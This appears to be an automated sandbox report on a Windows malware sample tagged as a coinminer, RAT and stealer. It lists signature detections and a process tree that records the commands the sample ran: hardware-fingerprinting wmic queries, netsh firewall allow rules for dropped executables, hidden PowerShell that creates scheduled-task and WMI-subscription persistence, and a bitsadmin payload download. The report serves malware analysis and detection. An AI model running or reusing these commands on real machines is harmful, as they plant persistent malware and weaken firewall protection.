Analysis
- max time kernel
4s - max time network
140s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
18/08/2026, 22:55
General
- Target 2026-08-18_d5c770b36d1053ae4ca90865845f8c4e_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
- Size 17.9MB
- Sample260818-2wcq3ssbrf
- SHA256 fda7c0a3d060a54230b59ad20e8f74cab93e25f100b87be044bc81da7d93d434
Score
9/10
Malware Config
Signatures
- Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
- Detects executables referencing many IR and analysis tools 1 IoCs
- Detects executables referencing virtualization MAC addresses 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell and hide display window.
- Download via BitsAdmin 1 TTPs 2 IoCs
- Event Triggered Execution: Image File Execution Options Injection 1 TTPs 12 IoCs
- Modifies Windows Firewall 2 TTPs 64 IoCs
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 3 IoCs
- Adds Run key to start application 2 TTPs 6 IoCs
- Modifies registry class 22 IoCs
- Suspicious behavior: EnumeratesProcesses 30 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-18_d5c770b36d1053ae4ca90865845f8c4e_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-18_d5c770b36d1053ae4ca90865845f8c4e_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"1⤵
- Event Triggered Execution: Image File Execution Options Injection
- Adds Run key to start application
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\{107b76a6-64ae-9c00-5e1c-b7301f4c3f84}\9eb441e3584a.exeC:\Users\Admin\AppData\Local\Temp\{107b76a6-64ae-9c00-5e1c-b7301f4c3f84}\9eb441e3584a.exe1⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=9eb441e3584a.exe program=C:\Users\Admin\AppData\Local\Temp\{107b76a6-64ae-9c00-5e1c-b7301f4c3f84}\9eb441e3584a.exe2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=9eb441e3584a.exe dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\{107b76a6-64ae-9c00-5e1c-b7301f4c3f84}\9eb441e3584a.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_454331a3bace.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_0753446f' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\1c85ca61b926.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\1c85ca61b926.exe1⤵
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Adds Run key to start application
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\1c85ca61b926.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\1c85ca61b926.exe2⤵
- Executes dropped EXE
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list3⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list3⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=1c85ca61b926.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\1c85ca61b926.exe3⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=1c85ca61b926.exe dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\1c85ca61b926.exe enable=yes3⤵
- Modifies Windows Firewall
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_454331a3bace.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_0753446f' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=1c85ca61b926.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\1c85ca61b926.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=1c85ca61b926.exe dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\1c85ca61b926.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_454331a3bace.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_0753446f' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\8a32018a90a9.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\8a32018a90a9.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=8a32018a90a9.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\8a32018a90a9.exe2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\dca6a7f83380.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\dca6a7f83380.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=dca6a7f83380.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\dca6a7f83380.exe2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Local\Temp\{b9da7f3f-e9fe-762f-7d54-2499c164a192}\344d4e73fd3c.exeC:\Users\Admin\AppData\Local\Temp\{b9da7f3f-e9fe-762f-7d54-2499c164a192}\344d4e73fd3c.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=344d4e73fd3c.exe program=C:\Users\Admin\AppData\Local\Temp\{b9da7f3f-e9fe-762f-7d54-2499c164a192}\344d4e73fd3c.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\bitsadmin.exebitsadmin /cancel SettingsSync_81a7bcd365af2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=344d4e73fd3c.exe dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\{b9da7f3f-e9fe-762f-7d54-2499c164a192}\344d4e73fd3c.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\bitsadmin.exebitsadmin /create /download SettingsSync_81a7bcd365af2⤵
- Download via BitsAdmin
-
-
C:\Windows\system32\bitsadmin.exebitsadmin /addfile SettingsSync_81a7bcd365af https://localhost:5173/api/files/download/agent.exe C:\Users\Admin\AppData\Local\Temp\{b9da7f3f-e9fe-762f-7d54-2499c164a192}\344d4e73fd3c.exe2⤵
- Download via BitsAdmin
-
-
C:\Windows\system32\bitsadmin.exebitsadmin /setpriority SettingsSync_81a7bcd365af FOREGROUND2⤵
-
-
C:\Windows\system32\bitsadmin.exebitsadmin /setminretrydelay SettingsSync_81a7bcd365af 3002⤵
-
-
C:\Windows\system32\bitsadmin.exebitsadmin /setnoprogresstimeout SettingsSync_81a7bcd365af 02⤵
-
-
C:\Windows\system32\bitsadmin.exebitsadmin /resume SettingsSync_81a7bcd365af2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\{95587a67-e6be-0887-3688-7802b5a251c3}\04e7ced8b15c.exeC:\Users\Admin\AppData\Local\Temp\{95587a67-e6be-0887-3688-7802b5a251c3}\04e7ced8b15c.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=04e7ced8b15c.exe program=C:\Users\Admin\AppData\Local\Temp\{95587a67-e6be-0887-3688-7802b5a251c3}\04e7ced8b15c.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=04e7ced8b15c.exe dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\{95587a67-e6be-0887-3688-7802b5a251c3}\04e7ced8b15c.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\77ae74b8a8a6.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\77ae74b8a8a6.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=77ae74b8a8a6.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\77ae74b8a8a6.exe2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Local\Temp\{32b3aafc-3c07-2c4e-7145-9f10c6085e37}\31a452e59f29.exeC:\Users\Admin\AppData\Local\Temp\{32b3aafc-3c07-2c4e-7145-9f10c6085e37}\31a452e59f29.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=31a452e59f29.exe program=C:\Users\Admin\AppData\Local\Temp\{32b3aafc-3c07-2c4e-7145-9f10c6085e37}\31a452e59f29.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\ef8383cc2fb8.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\ef8383cc2fb8.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=ef8383cc2fb8.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\ef8383cc2fb8.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=ef8383cc2fb8.exe dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\ef8383cc2fb8.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_c106032ccc7a.exe"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_c106032ccc7a.exe"1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=ovd_c106032ccc7a.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_c106032ccc7a.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=ovd_c106032ccc7a.exe dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_c106032ccc7a.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_454331a3bace.exe"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_454331a3bace.exe"1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=ovd_454331a3bace.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_454331a3bace.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=ovd_454331a3bace.exe dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_454331a3bace.exe enable=yes2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_454331a3bace.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_0753446f' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_f0753446f'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_c0753446f'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_454331a3bace.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_f0753446f'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_c0753446f'\"; $null = $b.Put()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\ca732e671693.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\ca732e671693.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=ca732e671693.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\ca732e671693.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=ca732e671693.exe dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\ca732e671693.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Local\Temp\{8d65f22b-0726-707d-e468-915caca18e7a}\2262b02493e6.exeC:\Users\Admin\AppData\Local\Temp\{8d65f22b-0726-707d-e468-915caca18e7a}\2262b02493e6.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=2262b02493e6.exe program=C:\Users\Admin\AppData\Local\Temp\{8d65f22b-0726-707d-e468-915caca18e7a}\2262b02493e6.exe2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=2262b02493e6.exe dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\{8d65f22b-0726-707d-e468-915caca18e7a}\2262b02493e6.exe enable=yes2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_ffb492b7456f.exe"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_ffb492b7456f.exe"1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=ovd_ffb492b7456f.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_ffb492b7456f.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=ovd_ffb492b7456f.exe dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_ffb492b7456f.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\41b4d791b5b4.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\41b4d791b5b4.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\41b4d791b5b4.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\41b4d791b5b4.exe2⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list3⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list3⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=41b4d791b5b4.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\41b4d791b5b4.exe3⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=41b4d791b5b4.exe dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\41b4d791b5b4.exe enable=yes3⤵
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\41b4d791b5b4.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\41b4d791b5b4.exe3⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list4⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list4⤵
-
-
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=41b4d791b5b4.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\41b4d791b5b4.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=41b4d791b5b4.exe dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\41b4d791b5b4.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Local\Temp\{08b7c908-afc0-4c49-281a-6470229fddea}\a63f10769b64.exeC:\Users\Admin\AppData\Local\Temp\{08b7c908-afc0-4c49-281a-6470229fddea}\a63f10769b64.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=a63f10769b64.exe program=C:\Users\Admin\AppData\Local\Temp\{08b7c908-afc0-4c49-281a-6470229fddea}\a63f10769b64.exe2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=a63f10769b64.exe dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\{08b7c908-afc0-4c49-281a-6470229fddea}\a63f10769b64.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Local\Temp\{6586000d-347f-e79b-c601-11411be76426}\88df924320c3.exeC:\Users\Admin\AppData\Local\Temp\{6586000d-347f-e79b-c601-11411be76426}\88df924320c3.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=88df924320c3.exe program=C:\Users\Admin\AppData\Local\Temp\{6586000d-347f-e79b-c601-11411be76426}\88df924320c3.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=88df924320c3.exe dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\{6586000d-347f-e79b-c601-11411be76426}\88df924320c3.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\38da5301f9bb.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\38da5301f9bb.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=38da5301f9bb.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\38da5301f9bb.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=38da5301f9bb.exe dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\38da5301f9bb.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Local\Temp\{c232f709-af7b-f23f-4f73-b4020073ef33}\93ee95144049.exeC:\Users\Admin\AppData\Local\Temp\{c232f709-af7b-f23f-4f73-b4020073ef33}\93ee95144049.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=93ee95144049.exe program=C:\Users\Admin\AppData\Local\Temp\{c232f709-af7b-f23f-4f73-b4020073ef33}\93ee95144049.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=93ee95144049.exe dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\{c232f709-af7b-f23f-4f73-b4020073ef33}\93ee95144049.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\d29da3423cbe.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\d29da3423cbe.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=d29da3423cbe.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\d29da3423cbe.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=d29da3423cbe.exe dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\d29da3423cbe.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Local\Temp\{9b83baff-0e51-c8b3-5c50-a791920a82ff}\6b62102a80e2.exeC:\Users\Admin\AppData\Local\Temp\{9b83baff-0e51-c8b3-5c50-a791920a82ff}\6b62102a80e2.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=6b62102a80e2.exe program=C:\Users\Admin\AppData\Local\Temp\{9b83baff-0e51-c8b3-5c50-a791920a82ff}\6b62102a80e2.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=6b62102a80e2.exe dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\{9b83baff-0e51-c8b3-5c50-a791920a82ff}\6b62102a80e2.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\3394f7624686.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\3394f7624686.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=3394f7624686.exe program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\3394f7624686.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=3394f7624686.exe dir=in action=allow program=C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\3394f7624686.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Local\Temp\{3ad52fc6-5ee2-9d45-52b4-3ac878715265}\5ae67131cb16.exeC:\Users\Admin\AppData\Local\Temp\{3ad52fc6-5ee2-9d45-52b4-3ac878715265}\5ae67131cb16.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall delete rule name=5ae67131cb16.exe program=C:\Users\Admin\AppData\Local\Temp\{3ad52fc6-5ee2-9d45-52b4-3ac878715265}\5ae67131cb16.exe2⤵
- Modifies Windows Firewall
-
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name=5ae67131cb16.exe dir=in action=allow program=C:\Users\Admin\AppData\Local\Temp\{3ad52fc6-5ee2-9d45-52b4-3ac878715265}\5ae67131cb16.exe enable=yes2⤵
- Modifies Windows Firewall
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\239811e8ca69.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\239811e8ca69.exe1⤵
-
C:\Windows\System32\Wbem\wmic.exewmic computersystem get model,manufacturer /format:list2⤵
-
-
C:\Windows\System32\Wbem\wmic.exewmic bios get serialnumber /format:list2⤵
-
-
